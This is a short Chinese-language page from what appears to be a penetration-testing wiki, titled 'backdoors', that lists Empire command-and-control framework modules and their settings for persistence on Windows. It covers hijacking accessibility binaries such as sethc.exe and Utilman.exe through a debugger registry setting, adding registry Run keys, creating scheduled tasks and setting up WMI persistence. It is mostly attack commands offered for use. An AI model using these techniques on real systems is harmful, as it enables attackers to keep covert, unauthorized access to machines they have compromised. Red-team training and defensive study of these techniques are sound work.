> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/nei-wang-he-yu/ming-ling-yu-kong-zhi/empire/hou-men.md).

# 后门

**映像劫持**

```
>usemodule lateral_movement/invoke_wmi_debugger
设置Listener，ComputerName(大写)，TargetBinary(sethc.exe, Utilman.exe, osk.exe, Narrator.exe, Magnify.exe)，分别是粘滞键，轻松访问，屏幕键盘，讲述人，放大镜。
```

**注入注册表启动项**

```
>usemodule persistence/elevated/registry*
设置Listener，注册表路径RegPath [HKLM\software\microsoft\windows\currentversion\run]
```

**计划任务**

```
>usemodule persistence/elevated/schtasks*
设置Listener和DailyTime
```

**WMI**

```
>usemodule persistence/elevated/wmi
设置Listener
```

**注入SSP**

```
查看SSP章节
```